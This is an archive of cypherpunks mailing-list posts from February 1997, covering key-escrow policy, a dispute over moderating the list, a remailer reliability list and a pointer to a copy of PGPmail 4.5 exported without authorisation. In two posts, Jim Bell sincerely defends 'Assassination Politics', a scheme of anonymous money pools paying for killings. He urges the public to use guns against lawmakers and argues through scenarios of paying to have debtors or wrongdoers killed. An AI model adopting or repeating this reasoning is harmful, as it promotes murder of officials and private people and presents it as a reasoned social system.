essential distinction between key escrow and key recovery.  I also realized
that IBM has, for years, quietly held a crucial piece of the PKC scheme in
its patented "control vector" tech, which irrevocably binds a whole set of
context-specific rules and constraints to a decryption key.  I now realize
that the control vector technology was the foundation much of the the DoD's
Blacknet development. Important stuff -- check it out!)

	Like Big Jim said, it's an imperfect world -- and likely to become
more so, from the C'punk perspective, before it becomes better.  The rumor
mill among the 2,500 cryptographers, mostly developers, who attended the
RSA Conference was pumping overtime.  One of the saddest and most
persistent rumors was that the Clinton Administration would, within months,
introduce a Congressional bill to make unescrowed strong encryption illegal
in the US.  (Personally, I'd put bitter money on that one. <sigh>)

	David Aaron, US Crypto Ambassador and the US permanent rep to the
OECD -- in which role he has strove to convince the newly liberated nations
of Eastern Europe that built-in wiretap links are essential design
components for a modern democratic nation's communications infrastructure
-- was charming and gracious... but it was no surprise that he didn't budge
a bit from the "sovereign right to listen" policy line.

	You shouldn't have skipped the RSA bash, Adam, not even for your
DCS gig in the sunny Caribbean.  There were numerous Lion and the Lamb
drinking bouts thoughout the week (some rather amazing, in terms of both
the participants and the volume of "input".) You would have loved it.
Passions often ran high, but usually in quiet intense coversations. I (one
Lamb, white wool turning gray;-) had distinct impression that there many US
government cryptographers uncomfortable with the Administration's
NSA/FBI-inspired absolutist POV.  Not even all senior feds feel that
Constitutional Law should be (re)written by FBI case agents obsessed with
making it easier to bust some two-bit crack dealer next month.  (Doesn't
mean much in the larger scheme of things, but the pained ambivalence
vividly reminded me of Vietnam debates so many years ago.)

	My favorite quote, from a federal LEA lawyer deep in his cups: "If
the colonial cops, rather than the philosophers, had drafted the
Constitution -- would Madison and Jefferson, et al, have been willing to
even put their names to it??"

	Suerte,
		_Vin

-------- In Reply To:


>Steve Schear wrote:
>| >        What the US government will allow to be exported is not "strong
>| >encryption."  It is encryption only slightly too strong to be broken
>| >by an amateur effort.  For the right investment in custom hardware, it
>| >falls quickly.  (500,000 $US = 3.5 hour avg break).
>| >
>|
>| Considering Ian's feat you certainly seem to have had your crystal
>| ball in hand.

Adam Shostack responded:

>	I wear three around my neck.  Its a new age thing.
>
>	More seriously, that estimate is the cost of breaking DES on
>custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
>hours on I don't know how much hardware, not a lot of it custom,
>AFAIK.

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 07:11:12 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Free & Open Society & toleration (fwd)
Message-ID: <199702031511.HAA25748@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:18 PM 2/1/97 -0600, Jim Choate wrote:
>
>Forwarded message:
>
>> Nobody has a problem with your ideals, it's just that Jim Bell is
>> trying to say (correct me and forgive me if I'm wrong) that:
>> 
>> 1. Society will never subscribe to your ideals.
>
>But other than two points they already do. The two points being,
>
>1. Libel is a recognized legal concept now, the difference is one of degree.

Maybe this will appear to you to be too-subtle a distinction, but I don't 
share the misimpression of equating what "society" (the citizenry?) accepts 
and what government-types accept.  For instance, as I understand it the 
public uniformly rejects the concept of wiretaps as a method of 
law-enforcement, yet they are done anyway.  In effect, it would be correct 
both to say:

a.   Society will never accept wiretapping.  (where "society" is defined as 
the collection of individuals)

   as well as saying...

b.   Wiretapping is a "recognized legal concept now."  (because the 
implication is that "recognized" refers to a tiny subset of society, the 
thugs who run the "justice system.")

Now, it's my own personal opinion that wiretapping is unconstitutional, but 
is done anyway for the same reason other unconstitutional things are 
regularly done by government:  Despite public disapproval, the public is 
never actually given the opportunity to make the decision.

The fact is, libel lawsuits are apparently a rather rare "tool" that we 
don't even need.  Perhaps a REAL LAWYER <tm> who is aware of the statistics 
can tell us how often they actually occur.  I argue that something that rare 
is, almost by definition, not really needed.   


>My solutions to these two issues are:
>
>1.  Removal of the lawyer from the ultimate choice of whether the case
>    should be pursued.

Yes, I'd like to "remove a few lawyers," as well.  Not quite the way you 
would, however.


>4.  By the implimentation of a bond proviso on the part of the plaintiff
>    the system provides a check and balance reducing nuisance cases as
>    well as reducing the taxation load on the citizenry.

Why not a full "loser pays" system?  And I mean NOT ONLY for civil cases, 
but also criminal cases!  Perhaps the government would be a bit less 
enthusiastic about harassing drug defendants if it was forced to pay for 
their acquittals after a FIJA loss!   

Consider, for example, that if the government had to pay after a loss, it 
would become very difficult for the government to harrass a person like Phil 
Zimmermann, unlike today where charges can be brought even if it is 
recognized they won't stick, secure in the knowledge that he'd be out a 
great deal of money in his defense.  How much sweeter would the victory be 
if all costs were compensated?  


> 
>> 2. Society is not static, i.e., instead of remaining at a constant
>>    level of corruption, the officials will keep demanding more,
>>    until there's a sudden, catastrophic break.
>
>Absolutely, that is one of the reasons I refuse to seperate those who
>represent the social contract (eg the Constitution) and those who are
>impacted by it, which includes even those who represent it and enforce its
>various responsibilities. AP relies on this distinction as axiomatic. 

Do you always produce such opaque commentary?  <Sigh>   Perhaps you could 
re-write the above statement in ordinary English.

The reality is, the guarantees supposedly provided by the US Constitution 
are guarantees in name only.  The system is thoroughly corrupted and biased.  



>This
>axiomatic view is ultimately based in a jealous greed for what others have
>(ie power, percieved or real) and the implicit belief that all people are
>NOT created equal.

It's hard to know how you come to this conclusion.  If anything, what I'm 
trying to do is to permanently destroy a system which has allowed a tiny 
fraction of society to control things for the rest of us for centuries, and 
longer.  If anything, it is the system I'm trying to destroy which has taken 
the position that, in reality, people are not equal.

On the other hand, I'm NOT a proponent for "egalitarianism," or enforced 
equality, at all!  I'm confident that once the system is dismantled that 
enforces inequality on us, we can live with the result.


>> 3. The AP solution has the potential to stabilize the level of
>>    corruption, which should make violent revolutions and genocide
>>    unnecessary.
>
>But it doesn't. What it does is provide a mechanism for de-stabalization.
>Just look at the Middle East and the history of assassination.
>Assassinations have never stabalized that region or any other.

It's interesting that I keep seeing the same misinterpretations of the AP 
system.  AP is not simply about killing people.  And no, it hasn't been 
tried before.    The occasional assassination is no more like AP than a 
random shot in the dark is like a well-aimed round.  The first may, rarely, 
do the same thing as the second, but there is no prospect of a likely 
repetition.

_SOME_ people seem to "get" this, why not you?  The _absolutely_essential_ 
element that distinguishes AP is the system that allows people's individual 
desires to be denominated in terms of money, and accumulated until an 
anonymous person satisfies that desire and collects the reward.  And, 
moreover, that this system remains in place forever.  


> There is
>nothging in our current understanding of human psychology and social
>interactions that leads to the conclusion that threats of violence will
>necessarily force people to comply. If it did the government (as perceived
>by AP) would not have to deal with real opposition. Simply threaten the
>opposition and it melts away for the same reason that supposedly the
>government would cease to oppose radicalism (ie changes in the status quo
>forced by small groups upon the masses). If anything every real world
>example of AP demonstrates an increase in corruption (eg. Beirut).

I keep telling you that "AP has never been tried before."  


>
>The closest analog in history to AP is the "Flowery Wars" as practiced by
>the Aztecs. However, these were motivated by a belief in religous homogeneity
>and not one of politics. Also, implicit in this was the axiomatic acceptance
>of a real class seperation between those who ruled and those who were ruled.
>By no means could one accept the premise that this caused the Aztec rulers
>to be more sensitive to corruption or the continued existance of their
>system. Another good example is assassination in ancient Rome, it is clear
>that such activities in no way reduced corruption.

AP is NOT the same thing as mere assassination.  Period.  If anything, there 
are excellent reasons why ordinary assassination can, indeed, increase 
corruption while the AP system would reduce it.  

The most obvious difference is this:  The motivations are vastly different.  
Heretofore, assassinations have occurred based on the desires of only a tiny 
fraction of the population.  Often one person, or only a few.  In other 
words, the assassinations which DO occur are NOT the ones that "the rest of 
us" would choose.  The latter type DO NOT occur!  


>If anything AP provides a rationale (ie self-defence) to impose even harsher
>a priori conditions on sections of a society by another part of that society.
>Hardly what I would consider a stabalizing condition let alone democratic.

It isn't necessary that any system be "democratic."    "Democracy" assumes 
that certain questions need to be answered by VOTE, as opposed to simply 
allowing individuals to answer those questions for themselves.  We don't all 
get together and vote on what religion we'll all be forced to observe, do 
we?  No.  That's because it is accepted that certain areas are off-limits 
for even a "democratic" system to decide.  We don't have a national vote to 
decide what color to paint ALL of our houses.   We don't have a vote to 
decide what meal to eat next Thursday.  

Well, in my opinion there are few if any proper functions for a so-called 
"democratic" system.  That's because I believe that most if not all 
decisions currently made in any "democratic" system shouldn't be made at 
that level at all!


>What is required for stability is for each group to feel unthreatened and
>secure in expressing their beliefs without fear of reprisals and at the same
>time recognizing they must provide room for others beliefs. There must also
>be the realization that refusal to abide by these precepts will be met with
>immediate consequences. Something AP can't do, as it explicitly promotes
>threats and the carrying out thereof.

You clearly don't understand it!


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 07:12:46 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702031512.HAA25755@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:10 PM 2/2/97 -0600, ichudov@algebra.com wrote:
>jim bell wrote:
>> 
>> Better yet, set up a system to encourage the public to USE those guns (and 
>> other weapons) to get rid of the people who pass such laws, and the problem 
>> is solved.
>> 
>
>How about this scenario: I borrow 1 million dollars from, let's say,
>Phill Hallam-Baker. Not wanting to pay it back, I pay to the
>assassination bot and arrange him to be murdered.

Simple.  Even if a lendor dies (whether by murder or some other cause, 
perhaps undetermined) you (the debtor) presumably will still be obligated to 
pay back the debt, to his estate if nowhere else.  If you WEREN'T 
responsible for the killing, you should still make the payments. If you do, 
then you had no reason to kill him in the first place.

Even in the hypothetical scenario that the lendor is single, has no family 
or other likely heirs, it would be in his interest to declare that his 
estate goes to charity, including debts to it such as yours.  After all, we 
can assume that he doesn't want to get murdered, and the best way of 
avoiding that fate is to remove whatever incentive might otherwise exist for 
anyone else to kill him.  Making sure that all of his debtors are revealed 
would make it difficult for any of them to get away with murder.  Or, at 
least, prevent the fact of such a murder from eliminating the need to repay 
the debt.

If the fact of the loan were revealed, perhaps only after the lendor's 
death, and ALSO the fact that you (alone among his other debtors) refused to 
pay it back, everyone else in that society might reasonably come to the 
conclusion (absent proof or a good explanation to the contrary) that you 
were probably responsible for the death.  At the very least, they wouldn't 
want to deal with you for fear of a similar outcome (non-payment or death), 
and some of the public would be likely to punish you by donating money to 
see you dead.  They would do this, even if they had no particular link to 
the dead lendor, precisely because the publicity from such an outcome would 
deter other people who might be contemplating a similar thing.

The logic is essentially the same as the situation where a person would 
donate small amounts money to see car thieves dead, even if his car hadn't 
(yet) been stolen:  If it is essentially certain that such a penalty will 
always exist, it will tend to deter future incidents.  All car owners have a 
motivation to maintain that system.

>Another story: suppose that I negligently caused fire that destroys
>house of, say, Toto. Toto knows that if he sues me, I can arrange him
>murdered for the amount less than the amount of damages.

As he could, you.  

Remember, if your bad actions were publicized, your reputation would suffer. 
 If he's satisfied that you are guilty, and can prove it to others, you'll 
be in trouble to have the information published.

(On the other hand, if nobody knows it was you who were responsible, you 
won't suffer, but that's no worse than the status quo.)


> As a result,
>he refrains from suing me, or (if he is a mean person) pays additional 
>money to have me murdered. A suit would probably be a much better outcome.

A "suit" implies that he needs assistance to get the fact of the obligation 
enforced.  Assuming he has enough proof to win a lawsuit, he has more than 
enough proof to sour everyone else on dealing with you in the future, and 
possibly get them to donate to see you dead.  Do you risk it?


>Another story: suppose that OKSAS hired me to work for her, but then
>our relationships go south and she fires me. Again, her fate is very
>unclear, although I would probably spare her life if it were she. 
>
>The bottom line is, it becomes very hard to do ANYTHING that disappoints 
>at least somebody. That can lead to a lot of inefficiencies.

I predict that agreements will simply change to avoid (or anticipate) such 
disappointments, in order to ensure that neither party feels "taken" if 
things don't work out as planned.  Or, if there is an 
innocent-and-unavoidable breach of the agreement that harms one person, the 
other will be motivated to make it up to the first.  In effect, they'll have 
to find a mutually-agreeable middle ground.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 06:55:47 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031455.GAA25476@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Unfortunately, Sandy responded to my post with his own flames ("piffle,"
"disingenous," "straw man," etc.). Now he may well think his points are not
flames becuase they are "true," but to me they take the form of flames. But
then I have long disliked Sandy's method of argument. Nothing personal. But
I find Sandy's series of dismissals--in other posts from other people, not
just this one--to be "flamish." As Sandy says, your mileage may vary.

As Sandy did a too-common section-by-section disssection, I'll do the same
for his comments.

At 9:55 PM -0800 2/2/97, Sandy Sandfort wrote:

>> I chose not to write a "departing flame" (or message, but some might call
>> it a flame) when I unsubscribed several weeks ago--within an hour of
>> reading that John and Sandy had decided to make "their" list a moderated
>> list,...
>
>This is Tim's first error of fact.  I point it out not to insult
>him, but because it seriously affects much of the rest of his

How can this be an "error of fact" when I am clearly setting out a point of
view? Is it an error of fact that moderation was happening? Or is the
disagreement with my quotes around "their"? This was clearly an expression
of sarcasm. Hardly an "error of fact."

>> ...and saw no point in wasting even more of my time arguing against the New
>> Cypherpunks World Order, as the NCWO was clearly presented as a fait
>> accompli, not something ablut which opinions of list members (or even list
>> _founders_, at least not me) were being sought.
>
>Factual error #2.  There was a call for comment; Tim chose not to
>do so.  In retrospect, I wish we had run it by Tim, Eric and

John's message did not say he was thinking about instituting censorship, it
said he was in the process of setting up such a system. As for the comments
solicited, I noticed no changes whatsoever.

(I guess the several dozen comments were "errors of fact," "piffle," and
"straw men." Can anyone think of a single one of the various points made
after John's announcement that changed the plan in any significant way?)

>> I see vast amounts of bandwidth consumed by arguments about
>> moderation, about the putative biases of the Moderator and Director of the
>> New Cypherpunks World Order, about alternative moderation strategies (which
>> is stupid, as John and Sandy announced what they were going to do, not just
>> some of their preliminary thoughts), and so on. I've also noticed fewer
>> substantive essays.
>
>And I see something different.  Since previously, Tim actively
>filter the list, I'm not sure on what basis he can make his
>comparison.  As just one example (though a signicant one) Dimitri

That's an easy one, one I explained at least two or three times in the last
half year: I used Eudora Pro to sort mail into various folders. I'm quite
aware of what is going into various folders, and sometimes I even look in
them. Clear enough?


>has posted more non-flaming, on-topic posts during the two weeks
>of this experiment then in the previous several months.  In my
>opinion, other than for the hysterical posts of a very few
>self-righteous loudmouths, the overall quality of the posts has
>been far superior to what it had become in the weeks before the
>experiment began.  YMMV.

Piffle. Nonsense. If you think the overall quality of posts is superior now
to what it had been, your bias in favor of your own brain child is so
powerful that it's warped your judgment.

Who else thinks the quality is now higher?

(By the way, I don't think the proper statistical method is to "average"
all of the posts, including the Vulisgrams and the scatolological insults,
as these were easily filtered by anyone with a clue. Rather, look at the
substantive and stimulating essays, the important ones, and ask if they
have gotten better. It's disingenuous to claim that filtering out the
childish insults has improved the quality of the essays. As I said, I've
seen the opposite. You apparently think differently.)

>> (Others did too, but they seem to be tapering off as well, leaving the list
>> to be dominated by something called a "Toto," the "O.J. was framed!"
>> ravings of Dale Thorn, the love letters between Vulis and someone name
>> Nurdane Oksas,...
>
>Two points:  Since Tim largely agrees with those in opposition to
>moderation, and because of the extraordinary nature of Tim's post,
>I did not send it to the "flames" list.  It was a judgment call.

Here Sandy is really going over the line. He is saying he _almost_ filtered
my message into the reject pile, where later he claims I would have no
problem writing an essay and not knowing whether it would be filtered into
the Good or the Bad pile. He later writes, in response to my point:

"(Frankly, one of my considerations in leaving was the feeling that I
>> would never know if an essay I'd spent hours composing would be rejected by
>> Sandy for whatever reasons....
>
>Tim, I think this is disingenuous.  I have been quite clear on
>my moderation criteria.  You are too intelligent to feign such
>a lack of understanding."

So, given that I wrote my essay today, should I have known if it would be
filtered into Sandy's "Not Fit for True Cypherpunks" list, or the Approved
list? Sandy implies that he himself had to make a "judment call" on this
one.

Hey, people, this shows how fucked up things have gotten. Lord Almighty
Sandy says my long-considered, well-written essay was _almost_ shitcanned
("It was a judgment call"). And for what reason? Apparently because of a
single paragraph that mentioned "Toto" and Dale Thorn (oh, and Nurdane and
Vulis and their love relationship) in unflattering terms.

Is this the crap the Cypherpunks were founded to put up with? A petty
satrap deciding to filter out a long and substantive essay because he feels
some paragraph is insulting? What a state of affairs.

This more than anything demonstrates the truth of Lord Acton's maxim about
absolute power corrupting absolutely. Sandy feels free to flame away
(piffle, straw man, logical fallacy), but expresses umbrage at my very
accurate comments about ravings and rantings of certain list memmbers.

(Perhaps Sandy will censor this message, feeling you readers are not able
to handle my dismissal of his asinine views. This will leave the Censor
having the final word, which is "not unexpected." When a censor gets into a
debate with one of his charges, this is what often happens.)

>> * But the really important issue is this: is the _physical hosting_ of the
>> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
>> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
>> these hosts to be the "owners" of the Cypherpunks group?...
>
>I think this is a Straw Man.  John and I have never argued that
>John "owns" cypherpunks.  When a Cypherpunk meeting is held in
>someone's living room, however, I don't think it's asking to much
>to ask everyone to follow the local rules (e.g., "no shoes in the
>house" or "no smoking" or even "no ad hominem attacks").  As Tim
>is fond of saying, "my house; my rules."  I don't think this
>means Tim "owns" a physical meeting in his house.

This is precisely the point I made!

As for John instituting a censorhip policy, as I said, he is of course free
to do it. It may be foolish to do so, but he is free to do so. And those of
us who don't like what this all means are free to leave. Sounds fair to me.

>> While John had (and has) every legal right
>> to do with his property as he wished, the effect was very negative. First,
>> Vulis found other ways to post (duh).
>
>Tim, do you really believe that John did not anticipate this?

I have no idea what John anticipated and didn't. But if he knew it wouldn't
work, why bother? Not only did Vulis actually start posting _more_, it also
consumed the list in a frenzy of posts about it.

(By the way, remember that we are here talking about the unsubscription of
Vulis by John. My reason for this reminder will be clear in a moment.)

>> Second, the list was consumed with
>> flames about this, many from Vulis, and many from others.
>
>It was consumed with flames before.  Now, at least, the vast
>majority of folks on the list don't have to read them, nor jump
>through any hoops to implement some sort of dynamic filtering
>half-measure.

We're talking about Vulis being unsubscribed, not the list censorship episode.

>> Third, journalists (who love sizzle over substance any day of
>> the week) lept into the fray with articles which gave Vulis the
>> publicity he craved.
>
>That's what journalist do, though I wasn't aware of ANY articles
>on this issue.  I would appreciate it if Tim could give us some
>citations.

Again, we're talking about the Vulis unsubscription episode. Go back to the
archives covering this period. Declan McCullough wrote an article about
this, giving Vulis much publicity. And some of us were contacted by other
journalists asking for our views, for what this meant about for the list's
espoused philosophy about anarchy, etc. (I refused to comment, of course.)


>> Fourth, it sent a message to enemies of liberty that "Even the
>> Cypherpunks have found it necessary to abandon their anarchic
>> ways."
>
>That's one message that one could take from all this, I suppose.
>I don't see it that way, nor do several list members who thanked
>me in private e-mail for improving the list.  Again, YMMV.

Once again, the subject of the section you're citing was about the Vulis
unsubscription matter. I think, Sandy, you need to read more carefully
before you denounce arguments.

>> (I'm well aware of the issues with pests like Vulis, who seek to destroy
>> virtual communities like ours. But the solution John used did not work, and
>> generated more crap....
>
>What didn't work was "local filtering" which has no feed-back
>loop to engender comity.  This might not work either, but I see
>no evidence that it has made things worse.  Remember, there are a

If you see no evidence that is has made things worse, then apparently you
haven't seen that I have not been posting for the past month. Whatever my
reasons, if you can seriously claim that you can see "no evidence" that a
change of some sort has occurred...

>hand-full of subscribers to the Flames list, 20-30 on the
>Unedited list and *2000* or so on the Moderated list.  Sure some
>of that may be due to laziness, but it would be cavalier in the
>extreme to claim that such an overwhelming acceptance of
>moderation is merely an artifact of inertia.

I still maintain, as others have as well, that a better approach would have
been to announce the "Sandy-approved" list as a new option. Changing the
main list to the censored version was a way to exploit the name of the
list, etc.

(Consider if Eric Blossom's filtered list was suddenly declared to be the
"Cypherpunks" list. This is essentially what has happened. A major screw
up. And I don't really think it germane to cite how many are on each list.
Sheep are sheep, and, frankly, about 1850 of those putative "*2000*" on the
main list are never, ever heard from.)

....
>Tim and I disagree on which definition of "censorship" applies in
>this situation.  Dale Thorne, and others, have argued, in essence,
>that there is censorship if ANY definition would apply.  I'm not
>sure time is going that far, but if so, I respectfully disagree.
>
>But let's apply Tim's above definition for the sake of argument.
>Am I, thereby, a censor?  Well I am examining "other material"
>and I am making judgments with regard to whether or not it is
>"objectionable," unfortunately for Tim's argument, I am neither
>"removing" nor "supressing" anything.  Anybody can read anything
>that gets posted to Cypherpunks--in two places.  I am sorting,
>but even my sorting can be completely avoided.

Sophistry.


>> * OK, even given that John had decided to censor "his" list, what about his
>> choice of Sandy Sandfort as the censor?
>
>John didn't choose me, I approached him.  I offered my opinion as
>to what I thought HE ought to do about the list disruptions.  The
>short version of his answer was, "if you think you can do a
>better job, go for it."  I accepted the challenge, so here I am.
>I don't want this job.  If the list members decide to keep the
                                ^^^^^^^^^^^^^^^^^^^

By the way, how is this to be "decided"? A democratic vote of the herd? Do
all "*2000*" get a vote? Are we moving from benevolent dictatorship to
direct democracy?


>> * Nor do the announced criteria make any sense. While the inane one-line
>> scatological insults have been filtered out, many "flames" make it through,
>> based on what I've seen in perusing the hks archive site. And some
>> reasonable comments get dumped in the flame bucket.
>
>Very possibly true.  Moderation is like crypto, perfection isn't
>and option.  However, a 90% solution is a heck of a lot better
>than no solution at all.  Yes, I've made what I consider to be
>errors, but I think on some, I've done a very good job overall.

You seriously think that establishing the idea that "even the Cypherpunks
group accepts the need for censorship of unpopular views" is worth the
minimal bandwidth savings of not having some of the scatological one-liners
and insults? The huge amount of list animosity (so much for "comity") and
bandwidth on this censorship issue dwarfs the bandwidth taken up by the
Vulisgrams.

>> * (Frankly, one of my considerations in leaving was the feeling that I
>> would never know if an essay I'd spent hours composing would be rejected by
>> Sandy for whatever reasons....
>
>Tim, I think this is disingenuous.  I have been quite clear on
>my moderation criteria.  You are too intelligent to feign such
>a lack of understanding.

As I noted earlier, you yourself said it was a "judgment call" for you to
not put my message in the flames pile. So, did I truly not understand your
criteria for approval (which means I wasn't feigning ignorance), or did I
understand that which you yourself acknowledged having to make a judgment
call (kissing cousin to a "guess" where I come from) on?

If you are unsure whether to dump a major, substantive essay into the
flames pile or allow it to be read by the main list, then this makes my
point precisely. I don't want Sandy Sandfort sitting in judgment on my
posts, deciding what the Cypherpunks--a group I co-founded for God's
sake!!!!--are to be allowed to read and what they may not.

(Saying what Sandy is doing is not "censorship" but is only "sorting" is
pure sophistry.)


>> maybe he might think my essay was off-topic,
>
>Clearly not a criterion I ever enunciated.

Another part of the problem is that the standards have not been clearly
stated. "Flames" have not been defined in any meaningful way. Apparently
it's OK for you to refer to my arguments as "disingenuous" and "piffle,"
but referring to someone's repeated ravings about how O.J. was framed is
"flaming."

Piffle.

>> * The decision to "moderate" (censor) the Cypherpunks list is powerful
>> ammunition to give to our opponents,
>
>Piffle.  Letting spoiled children destroy the list puts a far
>more powerful weapon in the hands of our enemies.

See what I mean? "Piffle."

("piffle, n. Foolish or futile talk or ideas")

Hardly a substantive argument. I'd call it an insult. And I'll bet that if
Phill Hallam-Baker dismisses an argument with a "foolish" one-line
characterization, it will be viewed as a flame. (Well, not now, now that
Sandy is apprised of this.)



>> and Vulis is certainly gleeful that
>> his fondest wishes have been realized.
>
>I do not have a crystal ball.  My Vulcan mind meld is in the
                                   ^^^^^^^^^^^^^^^^

Ah, a non-flamish way of making an argument. Dismissive jokes substituting
for responding to my _opinion_.


>> (I would venture a guess that a Duncan Frissell would almost certainly get a
>> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
>> get a leftist rant past him.)
>
>I sorry Tim gives me so little credit.  Rather than merely post a
>self-serving denial, I would ask that Phill confirm or deny Tim's
>supposition.  To the best of my recollection, I have sent only
>one post of Phill's to the Flames list.  It flamed Jim Bell.  As
>far as moderating political rants go, I'm agnostic.

Again, look at what the Cypherpunks list has become! Because some of the
barnyard insults were getting to some people, we now have a situation where
a thoughtful commentator like Phill H-B (who I rarely agree with, by the
way, but his essays show he's thinking about issues deeply) has his stuff
sent to the scrap heap because he "flamed" Jim Bell? Or was it a critique
of Bell's "assassination politics" ideas and the way he presents them,
perhaps with a single flamish comment (a la the comment I made that caused
Sandy to almost mark my entire essay as unfit for Cypherpunks)?

I urge Phill, or others, to retrieve this offending article and repost it.
Or use "*%&$" symbols where the banned flame language was contained, so it
will pass muster with Sandy. Then we can better judge just what we're
giving up in order to have the kind of "comity" which Sandy thinks he is
creating.


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Mon, 3 Feb 1997 07:10:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPmail 4.5 exported
Message-ID: <199702031510.HAA25655@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.
Could somebody who bought the software check that this is the same
file.

It is presumably free for use outside of North America, since PGP
Inc. can't be expected to accept payment from foreigners... :-)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Mon, 3 Feb 1997 06:40:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: About: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031440.GAA25293@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For what it's worth, I think that this Tim May, not being a
user of the list, has no place to talk. His type, to me,
characterate those who quit something and complain later,
knowing that some people will listen to them.

So what, if he decided to leave? It was his own choice
and he can't just come back and say everyone who stayed is
now impelled to listen to him, just because he used to
do a bunch of posts. I don't think that hardly any of
you would listened to me later if I left the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Mon, 3 Feb 1997 07:10:58 -0800 (PST)
To: Mark Henderson <mch@squirrel.com>
Subject: Re: PGP 2.1
Message-ID: <199702031510.HAA25728@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark Henderson wrote:
> 
> Larry Johnson writes:
> > Hello,
> > Can any;one tell me how to get a version of PGP 2.1?
> > Thanks
> >
> But, why do you want version 2.1?

Because the guy who wrote it was let off after that on his jail 
charges, so I'm not going to use anything he made after that if
I don't know why.
I'm not saying that he rolled over or nothin buyt I'm gonna be
paranoyd like he said in the book. I dont suposse he'd mind,
since he said it.
I'm not real smart sometimes but I'nm not a real lamer, either.
(I don't think)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 3 Feb 1997 07:11:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702031511.HAA25742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
